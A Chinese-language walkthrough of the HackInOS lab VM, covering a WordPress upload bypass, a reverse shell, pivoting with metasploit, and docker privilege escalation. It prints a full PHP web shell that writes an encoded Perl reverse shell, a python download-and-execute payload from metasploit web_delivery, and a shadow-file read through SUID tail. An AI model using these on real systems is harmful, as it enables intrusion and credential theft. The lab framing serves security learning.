HackInOS渗透实战
HackInOS渗透实战
该靶机很好玩,上马getshell,msf内网穿透,docker提权,简直帅炸了,无奈我的实力只能打到一半,很多都是查看国外大黑牛的教程……
靶机ip:192.168.56.101
nmap全扫
nmap -sS -Pn -A -p- -n 192.168.56.101
image.png
8000WEB渗透
http://192.168.56.101:8000/
image.png
又是一个wordpress建站
http://192.168.56.101:8000/?author=1 得到管理员的用户名Handsome_Container
image.png这个站点有点假,login都指向localhost,未开发完成的
访问以下robots.txt
image.png
User-agent:*
Disallow:/upload.php
Disallow:/uploads
访问http://192.168.56.101:8000/upload.php
能上传图片,先右键下源码,发现最低端有个提示
image.png
访问看看 https://github.com/fatihhcelik/Vulnerable-Machine---Hint
看来靶机作者有提示
查看下upload.php的源码:
image.png发现了上传必须以图片的格式 (png或者gif),但并没有过滤后缀名,尝试头部添加gif识别
上传后在图片名称后添加1-100的随机数,并进行md5加密,且全部转为小写
至此,我们可以上传包含一句话的图片马
gif98大法,上马getshell
抓包,改头部,用gif98大法上传图片马
image.png但我们并不知道上传后的路径和名称,所以采用跑目录的方式,爆出上传的反弹shell
通过python脚本生成shell.php经过md5加密后的名称,然后进行dir爆破
python源码如下:
#!/usr/bin/python
import hashlib
for i in range(100):
file = "shell.php" + str(i)
hash = hashlib.md5(file.encode())
dir = hash.hexdigest() + ".php"
f = open("dict.txt", "a+")
f.write(dir+"\r\n")
f.close()
爆破发现了该上传的加密的目录,
dirb http://192.168.56.101:8000/uploads/ dict.txt
image.png
但是很快被删除,所以速度要快
再次尝试上传GIF98头部的反弹shell马
使用猥琐的php反弹shell马,可过firewall,好用
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.56.102";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
截包上传后,跑目录发现该上传的文件,kali开启nc端口监听,直接反弹
dirb http://192.168.56.101:8000/uploads/ dict.txt
image.png
image.png
su root
先用python切一下交互式的shell,好看一点
python -c 'import pty;pty.spawn("/bin/bash")'
翻一下wordpress的用户和密码,也许等下有用
image.png不妨先寻找下该靶机上可执行的二进制的文件,也许能使用普通用户执行root命令
find / -perm -4000 2> /dev/null
image.png
可以使用tail命令查看文件,使用tail尝试查看下passwd或者shadow文件
直接进入靶机的etc目录下,发现cat没有权限查看shadow,直接用tail
tail shadow
读不到什么,先用tail --help 查看一下帮助
发现 -c 参数可以以字节位置读取文件,其他附加参数,-K 可以读1024位
tail -c1K shadow
image.png
拿到了root用户的密码hash
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
拿去john解下
image.png解出来的密码就是john,登录ssh失败
直接su root吧
image.png拿到了root下的flag
Life consists of details..
内网渗透
msf反弹
本以为这样就结束了,查看靶机的网络状态,发现靶机自己有一个内网地址 172.18.0.3
image.png看教程,用msf拿反弹shell,进而扫内网,进行内网渗透
利用msf下的web_delivery模块,先 search web-delivery
use exploit/multi/script/web_delivery
配置好相关的IP和端口,进而生成一段payload
image.pngpython -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.56.102:8080/YBFZpUoLLv6g9F');exec(r.read());"
将该payload拿到靶机的rootshell下执行,msf等待反弹
image.pngmsf拿到会话
image.png接下来常规操作
image.png既然msf已经能打到靶机的内网了,就可以直接扫内网的网段
添加内网路由
切换一下msf的模块,添加通往靶机的路由
use post/multi/manage/autoroute
image.png
通过autoroute已经添加了一跳路由到靶机的eth0
[+] Route added to subnet 172.18.0.0/255.255.0.0 from eth0
扫描内网网段
在msf中继续切换到scanner扫描模块下,进行内网扫描
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.18.0.1-254
set THREADS 10
配置好后直接run
image.png好久,扫了好久,终于出来了
image.png[+] 172.18.0.1: - 172.18.0.1:22 - TCP OPEN
[+] 172.18.0.3: - 172.18.0.3:80 - TCP OPEN
[+] 172.18.0.4: - 172.18.0.4:2021 - TCP OPEN
[+] 172.18.0.2: - 172.18.0.2:3306 - TCP OPEN
[+] 172.18.0.1: - 172.18.0.1:8000 - TCP OPEN
可以看到
172.18.0.4开发了2021
172.18.0.2开放了3306
登录0.2段的数据库
在之前的shell中,发现了wordpress目录下的wp-config.php的配置文件,发现了该数据库的用户名和密码都是wordpress
mysql -h 172.18.0.2 -uwordpress -p
image.png
直接进入wordpress数据库找管理员账号和密码
image.pngHandsome_Container: $P$BXJ8ZmtYd5lHZOLPgTccLUhaQLxm0L0
再查看下host_ssh_cred表格:
image.png得到用户和密码
hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e
解md5的hash正好是123456
拿去ssh登陆
ssh登陆
账号密码:hummingbirdscyber: 123456
查看靶机内网的运行情况
image.pngdocker images
发现docker中运行的镜像
按照教程中的提示
以root权限运行该docker虚拟机,直接拿到root权限
docker run -v /:/root -i -t ubuntu /bin/bash
直接get flag!!
总结
1、该靶机前期自己打了好久,上GIF98图片马getshell之后,发现有内网,我自己的想法是用内网穿透工具reGeory进行扫描,无奈尝试了tunnel_nosocket.php后,kali中的proxychain无法连接,也就无法打穿内网。
2、坦白讲,那个python爆目录的脚本是国外的一个大黑的 github上的,我的想法是上传后立刻mv到上级目录中,防止被销毁。
3、拿到假的root进入shell后,发现有docker环境,也是第一次尝试用docker run提权。
总体来说这个靶机作者很用心,能学到不少东西和方法。
靶机百度云下载
链接:https://pan.baidu.com/s/1fhP9DU-Z-UhI2wD4TiiZEg
提取码:pf5b